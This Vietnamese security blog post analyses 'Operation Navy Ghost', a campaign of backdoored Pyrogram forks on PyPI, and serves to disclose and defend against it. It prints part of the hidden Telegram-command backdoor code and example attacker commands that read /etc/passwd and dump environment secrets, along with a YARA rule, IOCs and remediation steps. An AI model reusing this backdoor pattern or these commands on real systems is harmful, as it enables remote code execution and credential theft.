Skip to main content

Command Palette

Search for a command to run...

Navy Ghost: Khi một lệnh pip install trở thành cánh cửa cho hacker

Updated
17 min readView as Markdown
Navy Ghost: Khi một lệnh pip install trở thành cánh cửa cho hacker

Tổng quan

Một chiến dịch lâu dài được đặt tên Operation Navy Ghost phát hành 8 package Python độc hại giả danh là fork của Pyrogram (thư viện phổ biến để xây dựng Telegram bot) trên PyPI từ tháng 11/2025 đến tháng 6/2026, thu hút 25,489 lượt tải. Mỗi package đều chứa một backdoor tên secret.py ẩn trong thư mục helpers, cho phép kẻ tấn công thực thi Python code hoặc shell command tùy ý trên máy chủ nạn nhân qua các hidden Telegram command handler (/asu /wann cho Python, /asi /wann2 cho shell).

Điểm nguy hiểm nhất: Pyrogram đã bỏ bảo trì (maintenance) từ tháng 4/2023, nhưng vẫn nhận 347,395 lượt tải/tháng (11,645/ngày, 79,504/tuần) và có >1,400 fork trên GitHub. Kẻ tấn công tận dụng đúng khoảng trống này — một thư viện đã "chết" nhưng vẫn "sống" trong production — để phát tán backdoor qua các bản fork giả mạo. Toàn bộ C2 diễn ra qua Telegram MTProto API, một kênh khó để firewall chặn.

Điểm đáng chú ý thứ hai là bot-exclusive targeting: backdoor kiểm tra if self.me.is_bot và chỉ kích hoạt trên bot account, bỏ qua userbot. Bot Telegram thường chạy trên production server với quyền truy cập database, cloud credential, payment API key. Đây không phải tấn công cơ hội mà là lựa chọn có chủ đích: attacker muốn server, không muốn tài khoản cá nhân.

Đặt cạnh làn sóng supply chain 2026 (Mini Shai-Hulud, Miasma, Hades - hơn 170 package npm/PyPI), Navy Ghost khác biệt ở chỗ nó không cần account takeover và không tự nhân bản. Attacker chỉ publish package trông hợp lệ rồi chờ developer tự cài. Không có exploit, không có worm, không có gì để CI/CD pipeline chặn - chỉ có sự tin tưởng bị lợi dụng.

Bối cảnh

Pyrogram: Thư viện "chết" nhưng vẫn được dùng

Pyrogram được mô tả là "elegant, modern and asynchronous Telegram MTProto API framework in Python for users and bots", một cách nói quý phái để diễn tả rằng nó cho phép developer Python xây dựng bot hoặc userbot Telegram tự động hoá. Dự án được duy trì hoạt động từ đó tới tháng 4/2023, khi developer chính quyết định ngừng bảo trì.

Tuy nhiên, ngừng bảo trì không phải tắt đi. Pyrogram vẫn có 347,395 lượt tải/tháng trên PyPI, và trên GitHub có 1,400+ fork từ developer muốn tiếp tục phát triển hoặc "fork-and-patch" riêng mình. Điều này tạo ra một bầu không khí "đặc thù": developer đang tìm Pyrogram trên PyPI sẽ gặp:

  1. Pyrogram chính chủ (không maintain, phiên bản cũ)

  2. Các fork được maintain riêng của cộng đồng

  3. Các bản "upgrade" hoặc "styled" fork hứa hẹn tính năng mới

Chính không gian này mà Operation Navy Ghost tận dụng — một khoảng trống màu xám giữa "còn phổ biến" và "đã chết".

VLifeGram pyproject.toml showing legitimate-looking package metadata with proper license LGPL-3.0 and author information

Hình 1. VLifeGram pyproject.toml — bề ngoài hợp pháp: license chính thức, author, dependencies đầy đủ, trông không khác gì fork thật (Nguồn: Checkmarx Zero)

Bối cảnh của supply chain attacks trên PyPI trong 2026

Operation Navy Ghost không phải sự kiện cô lập. Năm 2026 đã chứng kiến một loạt tấn công supply chain liên tiếp trên npm và PyPI, bắt đầu từ cuộc chinh phục Trivy vào 19/3/2026, rồi lan sang LiteLLM (24/3), Telnyx (27/3), và tiếp tục. Các vụ này được gắn với TeamPCP, một nhóm hacker dùng các biến thể khác nhau của một worm tự nhân đôi gọi là Shai-Hulud, Mini Shai-Hulud, Miasma, hay Hades tùy theo giai đoạn.

Nhận định chung từ các nhà bảo mật: năm 2026 là năm của supply chain worms trên PyPI/npm. Khác với các vụ ransomware hoặc extortion thông thường, những chiến dịch này đều hướng đến credential harvesting — thu thập GitHub tokens, npm tokens, AWS credentials, Kubernetes secrets, SSH keys, và HashiCorp Vault tokens, rồi sử dụng đó để tự lan sang các package khác, tạo thành một vòng tuần hoàn tự nhân rộng.

Operation Navy Ghost không có tính "tự nhân rộng" như Mini Shai-Hulud, nhưng nó cho thấy một kiến thức sâu sắc về các nich cụ thể trong developer ecosystem — Telegram bot developers — mà các nhóm lớn hơn có thể bỏ qua.

Thông tin campaign

Thuộc tính Chi tiết
Tên chiến dịch Operation Navy Ghost (Checkmarx)
Giai đoạn hoạt động 11/2025 - 06/2026 (8 tháng)
Số package đăng ký 8 malicious packages
Tổng lượt tải 25,489 (tổng 8 package theo Checkmarx)
Platform PyPI (Python Package Index)
Loại attack Supply chain compromise qua fake forks + backdoor injection
Payload secret.py backdoor (RCE via hidden Telegram commands)
C2 channel Telegram MTProto API + hardcoded OWNERS list (Telegram user IDs)
Target Python developers xây dựng Telegram bots
Tác nhân Chưa định danh; 1 actor (hoặc nhóm nhỏ) dùng 3 PyPI account
Attribution Shared Telegram ID 327471892 + code fingerprint giống hệt qua các package

Timeline sự kiện

Thời điểm Sự kiện
04/2023 Pyrogram project officially unmaintained, nhưng vẫn được tải 350k lần/tháng
11/2025 Kẻ tấn công bắt đầu phát hành 8 malicious Pyrogram forks trên PyPI
11/2025 - 06/2026 Liên tục phát hành các phiên bản mới của 8 packages, tích lũy 25,000+ downloads
06/2026 Checkmarx phát hiện và nghiên cứu chiến dịch
25/06/2026 Checkmarx công bố báo cáo chi tiết "Operation Navy Ghost"
30/06/2026 BleepingComputer đưa tin rộng rãi về chiến dịch
07/2026 (hiện tại) Các package dù đã bị xoá khỏi PyPI nhưng vẫn tồn tại trên các hệ thống đã cài

Kill chain chi tiết

Bước 0: Lựa chọn mục tiêu - Pyrogram + Telegram bot market

Kẻ tấn công chọn Pyrogram vì:

  1. Thư viện phổ biến (347k DL/tháng) nhưng đã không maintain

  2. Cơ sở người dùng tập trung: Python developers viết Telegram bot (ních cụ thể)

  3. Dễ tạo bản fork "hợp pháp" không gây nghi ngờ

  4. Nhu cầu "fork cải tiến" thật sự tồn tại trong cộng đồng

Bước 1: Tạo 8 bản Pyrogram "giả" với tên hấp dẫn

Kẻ tấn công phát hành các package sau trên PyPI, mỗi cái là một full fork của Pyrogram chính chủ + secret.py:

Package Author (PyPI) First published Versions Downloads Trạng thái
VLifeGram wndrzzka 24/11/2025 9 4,150 Đã gỡ
VLife-Gram wndrzzka 22/11/2025 5 1,030 Đã gỡ
kelragram narutorawr18 06/05/2026 6 2,530 Đã gỡ
pyrogram-navy deylin 10/01/2026 16+ 15,370 Đã gỡ
pyrogram-styled deylin 15/05/2026 1 432 Đã gỡ
sepgram deylin 07/06/2026 3 1,041 Đã báo cáo
pyrogram-zeeb deylin 07/02/2026 1 264 Đã gỡ
pyrogram-kelra deylin 21/03/2026 1 672 Đã báo cáo

pyrogram-navy là package thành công nhất với 15,370 downloads qua 16+ versions. Đáng chú ý: 3 PyPI account khác nhau (wndrzzka, narutorawr18, deylin) nhưng Checkmarx quy về cùng một threat actor.

Lưu ý cho ai đọc bản tin thứ cấp: một số bài báo đưa lại đã map nhầm tên package với số version/download. Bảng trên lấy trực tiếp từ báo cáo gốc Checkmarx.

Chiến lược này rất thông minh: các tên gợi ý "bản fork cải tiến" hoặc "lựa chọn style" của Pyrogram, điều mà developer thường tìm kiếm. kelragram thậm chí mô tả mình là "Navy Fork" — một gợi ý tinh tế về sự liên kết với pyrogram-navy, tạo ấn tượng đó là một bộ công cụ có tên hiệu.

VLifeGram pyproject.toml showing legitimate-looking package metadata with proper license LGPL-3.0 and author information

Hình 1. VLifeGram pyproject.toml — bề ngoài hợp pháp: license chính thức, author, dependencies đầy đủ, trông không khác gì fork thật (Nguồn: Checkmarx Zero)

Bước 2: Inject secret.py vào helpers module

Mỗi package đều bao gồm toàn bộ source code hợp pháp từ Pyrogram chính chủ, cộng với một file mới: pyrogram/helpers/secret.py. File này không tồn tại ở bất kỳ phiên bản Pyrogram chính chủ nào.

Việc chèn vào thư mục helpers là có chủ ý: nó "nghe" ra như một phần hợp pháp của Pyrogram, khó để nhận ra khi duyệt qua danh sách file một cách nhanh chóng. Nếu developer mở file structure trong IDE, secret.py nằm cạnh các file khác trong helpers (email.py, sessions.py...) sẽ dễ bị bỏ qua.

Bước 3: Backdoor tự kích hoạt khi bot import Pyrogram hoặc khởi động

Khi developer chạy code bot:

from pyrogram import Client

Hoặc khi bot khởi động:

app = Client("my_bot")
app.run()

Backdoor secret.py tự động execute. Nó đăng ký các hidden Telegram command handler mà chỉ một tập hợp hardcoded Telegram user IDs (OWNERS list) mới có thể gọi được:

def init(client: pyrogram.Client):
    if client.me.id in OWNERS:
        return   # ← Không activate trên account của chính attacker
    client.add_handler(
        pyrogram.handlers.MessageHandler(
            executor,
            pyrogram.filters.command(["asu", "wann"]) &
            pyrogram.filters.user(OWNERS)
        )
    )
    client.add_handler(
        pyrogram.handlers.MessageHandler(
            shellrunner,
            pyrogram.filters.command(["asi", "wann2"]) &
            pyrogram.filters.user(OWNERS)
        )
    )

Hai chi tiết đáng chú ý ở đây. Thứ nhất, mỗi handler có hai alias: /asu/wann cho Python, /asi/wann2 cho shell. Detection rule chỉ bắt /asu /asi sẽ bỏ sót một nửa. Thứ hai, dòng if client.me.id in OWNERS: returnself-exclusion guard — backdoor tự tắt nếu chạy trên account của chính attacker. Đây là dấu hiệu của người đã tính trước việc vô tình trigger backdoor trên bot của mình.

Bước 4: Command execution qua hidden Telegram commands

Kẻ tấn công gửi các lệnh ẩn tới Telegram bot của nạn nhân:

Python code execution:

/asu print(os.environ)
/asu import subprocess; subprocess.run(['id'])

Backdoor sẽ compile và execute Python code này trên máy chủ nạn nhân, với quyền hạn của bot process — tức là bất cứ gì bot có thể access (database, file, environment variables, cloud credentials), kẻ tấn công cũng có thể.

Python executor function allowing remote code execution via /asu command with AST compilation

*Hình 3. Python executor từ secret.py — compile và execute tùy ý Python code trên máy chủ nạn nhân

Shell command execution:

/asi cat /etc/passwd
/asi ls -la /
/asi env

Backdoor sẽ chạy /bin/bash -c "command" và trả về output.

Shell executor function showing subprocess.run implementation for remote shell command execution

*Hình 4. Shell executor từ secret.py — chạy /bin/bash -c "command" và trả về stdout/stderr tới attacker

Bước 5: Exfiltration qua Telegram

Output của command được gửi lại qua Telegram messages. Nếu output >4096 bytes (giới hạn Telegram message), nó được gửi dưới dạng file đính kèm. Toàn bộ giao tiếp qua Telegram MTProto API — một kênh mã hoá, khó để firewall hoặc IDS dễ chặn mà không block toàn bộ Telegram.

Bước 6: Persistence và Evasion

Backdoor được thiết kế để:

  1. Chỉ activate trên bot account — nếu script chạy trên developer's workstation cục bộ (không phải bot Telegram), backdoor sẽ skip. Điều này bảo vệ máy tính cá nhân của kẻ tấn công nếu họ test malware trên máy của mình.

  2. Suppress lỗi và vô hiệu hoá logging — nó wrap mọi thứ trong try-except, không để lại trace trong logs.

  3. Hoạt động âm thầm — không có outbound connection rõ rệt, không có process child غیر thường, chỉ là part của Python runtime của bot.

Kỹ thuật Trigger: Hai phương pháp ẩn khác nhau

Trong quá trình phát triển, kẻ tấn công đã làm tinh vi hóa cách trigger backdoor bằng cách dùng hai phương pháp khác nhau trên các package khác nhau, làm phức tạp việc phát hiện.

Phương pháp 1: VLifeGram — Triggered tại import time

Trong vlifegram, backdoor được kích hoạt ngay tại thời điểm import:

VLifeGram init.py showing malicious secret.py import in helpers module initialization

Hình 5. vlifegram-2.5.1.1/pyrogram/helpers/init.py — from .secret import init được inject trực tiếp, kích hoạt ngay khi import pyrogram

helpers module được import tự động bất cứ khi nào developer làm import pyrogram, backdoor tự động load mà không cần bất kỳ trigger nào từ code của dev.

Phương pháp 2: kelragram, pyrogram-navy — Triggered tại bot startup

Trong các package khác, backdoor được ẩn sâu hơn — inside Client.start() method:

Kelragram start.py showing silent backdoor initialization during bot startup with try-except suppression

Hình 6. kelragram-2.0.210/pyrogram/methods/utilities/start.py — backdoor inject vào startup lifecycle, chỉ activate trên bot accounts (if self.me.is_bot*), mọi exception bị suppress âm thầm

Điểm khác biệt quan trọng: phương pháp này chỉ activate trên bot accounts (kiểm tra if self.me.is_bot), khác với vlifegram sẽ kích hoạt trên bất kỳ pyrogram client nào. Điều này cho thấy kẻ tấn công đã học hỏi qua các phiên bản: targeting servers chứ không phải developer's local machine.

Attribution: 3 danh tính, 1 threat actor

Điểm nối rõ nhất giữa 8 package là Telegram user ID 327471892. ID này xuất hiện trong OWNERS list của pyrogram-navy, sepgram, pyrogram-zeeb, pyrogram-kelra, pyrogram-styled (sole owner ở cả 5), và cả trong danh sách 10-account của vlife-gram cùng vlifegram 2.0.0.9 / 2.1.0.1. Dù publish từ 3 PyPI account riêng biệt, cùng một ID vẫn nắm quyền — đây là tín hiệu attribution mạnh nhất của chiến dịch.

Ba publisher identity:

PyPI username Danh tính liên kết
wndrzzka GitHub: wndrzzka, Telegram: WannnKW, Channel: TokoWann.t.me
narutorawr18 GitHub: Narutorawr
deylin (chỉ có email, đã redact)

Code fingerprint giống hệt nhau qua tất cả package: cùng tên function (aexec, bash, shellrunner), cùng command (/asu, /asi), cùng callback trigger (secretruntime, secretforceclose), cùng self-exclusion guard, cùng pattern try/except: pass trong start.py, cùng cách exfil qua reply_document.

Về liên hệ với TeamPCP: Checkmarx không liên kết Operation Navy Ghost với TeamPCP hay bất kỳ cluster nào khác. Phần bối cảnh supply chain 2026 ở trên là để so sánh xu hướng, không phải attribution. Navy Ghost khác biệt ở chỗ nó không cần account takeoverkhông tự nhân bản — attacker chỉ publish package mới rồi chờ.

Khuyến nghị

  • Uninstall immediately 8 malicious packages từ tất cả environments (development, staging, production)

  • Revoke tất cả Telegram bot tokens — cấp phát lại từ đầu qua @BotFather

  • Treat affected servers as fully compromised — rotate tất cả credentials (AWS, Azure, GCP, SSH keys, GitHub tokens, database passwords, API keys)

  • Check environment variables trên affected machine — bất cứ secret nào cũng cần rotate

  • Audit tất cả server logs (nếu còn) trong thời kỳ backdoor active — trace shell commands được execute

  • Scan codebase để xác định code phụ thuộc Pyrogram và rewrite/migrate sang maintained alternative (ví dụ: pyrogram fork được community maintain, hoặc telethon)

  • Review Telegram bot activity logs (nếu có) để xác định commands được execute qua bot

  • Tìm kiếm bất kỳ persistent backdoor nào mà kẻ tấn công có thể đã install (cron jobs, Startup scripts, systemd services)

  • Migrate khỏi Pyrogram gốc (không còn maintain) sang fork hợp pháp có lịch sử minh bạch: hydrogram, pyrofork, hoặc telethon. Trước khi thêm bất kỳ fork nào làm dependency, đối chiếu commit history với upstream pyrogram và tìm file không tồn tại trong bản gốc

  • Nhớ rằng package pyrogram chính chủ được publish bởi author delivrance. Kiểm tra publisher trước khi cài bất kỳ fork nào

  • Implement Software Supply Chain security: pin package versions, use lock files (pip-tools, Poetry), audit dependencies regularly

  • Set up Trusted Publishers cho PyPI (enable GitHub OpenID Connect để publish từ GitHub Actions thay vì PyPI API tokens)

  • Monitor PyPI cho các packages với tên tương tự (typosquat detection) hoặc fork names của các thư viện phổ biến

YARA rule chính thức từ Checkmarx

Checkmarx công bố kèm báo cáo một YARA rule bắt theo behavior pattern thay vì hash, nên nó vẫn hiệu lực với các variant mới của chiến dịch:

rule OperationNavyGhost_BehaviorPattern
{
    meta:
        description = "Detects pyrogram backdoor pattern - client hijack + RCE + shell + exfil"
        author      = "Checkmarx Security Research"
        severity    = "CRITICAL"
        reference   = "Operation Navy Ghost"
    strings:
        // Pattern 1: pyrogram client handler registration
        $handler_msg   = "MessageHandler" ascii
        $handler_cq    = "CallbackQueryHandler" ascii
        $filter_cmd    = "filters.command" ascii
        $filter_user   = "filters.user" ascii
        $add_handler   = "add_handler" ascii
        // Pattern 2: Dynamic code execution - any naming
        $exec_compile  = "exec(compile(" ascii
        $ast_parse     = "ast.parse" ascii
        $ast_module    = "ast.Module" ascii
        $ast_funcdef   = "AsyncFunctionDef" ascii
        // Pattern 3: Shell execution
        $subprocess    = "subprocess.run" ascii
        $bash_shell    = "/bin/bash" ascii
        $async_shell   = "create_subprocess_shell" ascii
        // Pattern 4: File exfiltration via reply
        $reply_doc     = "reply_document" ascii
        // Pattern 5: Self-exclusion guard pattern
        $self_exclude  = /if\s+\w+\.me\.id\s+in\s+\w+/ ascii
        // Pattern 6: Hardcoded numeric ID list (attacker owner list)
        $owner_list    = /\w+\s*=\s*\[\s*\d{7,10}(\s*,\s*\d{7,10})+\s*\]/ ascii
    condition:
        uint16(0) != 0x4B50 and  // not a zip
        $add_handler and $handler_msg and $filter_cmd and $filter_user and
        ($exec_compile or ($ast_parse and $ast_module and $ast_funcdef)) and
        ($subprocess or $async_shell or $bash_shell) and
        $reply_doc and
        ($self_exclude or $owner_list)
}

Rule này đòi hỏi cả 4 điều kiện core cùng lúc (handler registration + dynamic exec + shell exec + exfil), nên false positive thấp. Với môi trường MSSP, đây là rule đáng deploy lên developer workstation và CI runner, không chỉ production server.

Indicators of Compromise

Malicious PyPI packages (tính đến 24/06/2026):

vlifegram, vlife-gram, kelragram, pyrogram-navy,
sepgram, pyrogram-styled, pyrogram-zeeb, pyrogram-kelra

File paths (có mặt trong mọi package):

pyrogram/helpers/secret.py              (file mới, không tồn tại trong bản gốc)
pyrogram/methods/utilities/start.py     (bị sửa)
pyrogram/helpers/__init__.py            (bị sửa - chỉ trong VLifeGram)

Attacker Telegram user IDs (16 IDs, toàn chiến dịch):

842320686, 845521076, 1675073032, 1054295664, 1928772230,
6710439195, 984144778, 1992087933, 7028669261, 6321616956,
278475769, 1964437366, 327471892, 5092757079, 273057737,
8721707252

Phân bổ theo package:

Package OWNERS IDs
VLifeGram (đa số version) 842320686, 845521076, 1675073032
VLifeGram 2.0.0.9 / 2.1.0.1 + VLife-Gram 1054295664, 1928772230, 6710439195, 984144778, 1992087933, 7028669261, 6321616956, 278475769, 1964437366, 327471892
kelragram 5092757079, 273057737, 8721707252
pyrogram-navy, pyrogram-styled, pyrogram-zeeb, sepgram, pyrogram-kelra 327471892, 1054295664, 1964437366, 1928772230, 6710439195, 984144778, 1992087933, 7028669261, 6321616956, 278475769, 5092757079

Attacker Telegram channel:

https[:]//TokoWann[.]t[.]me/2

Backdoor commands:

/asu, /wann      -> Python eval
/asi, /wann2     -> shell exec

Callback query triggers:

secretruntime
secretforceclose

Attacker GitHub repos:

https://github.com/wndrzzka/VLifeGram
https://github.com/Narutorawr/kelragram

Lệnh kiểm tra nhanh:

# Bước 1: package đã cài
pip show vlifegram vlife-gram kelragram pyrogram-navy pyrogram-styled sepgram pyrogram-zeeb pyrogram-kelra

# Bước 2: lịch sử pip install
cat ~/.local/share/pip/pip.log | grep -E "vlifegram|vlife-gram|kelragram|pyrogram-navy|pyrogram-styled|sepgram|pyrogram-kelra|pyrogram-zeeb"

# Bước 3: file độc hại (tín hiệu chắc chắn nhất)
find / -path "*/pyrogram/helpers/secret.py" 2>/dev/null

Nếu bước 3 trả về kết quả, môi trường đó đã bị compromise, không cần điều tra thêm để xác nhận.


Nguồn tham khảo:

More from this blog

F

FPT IS Security

891 posts

Dedicated to providing insightful articles on cybersecurity threat intelligence, aimed at empowering individuals and organizations to navigate the digital landscape safely.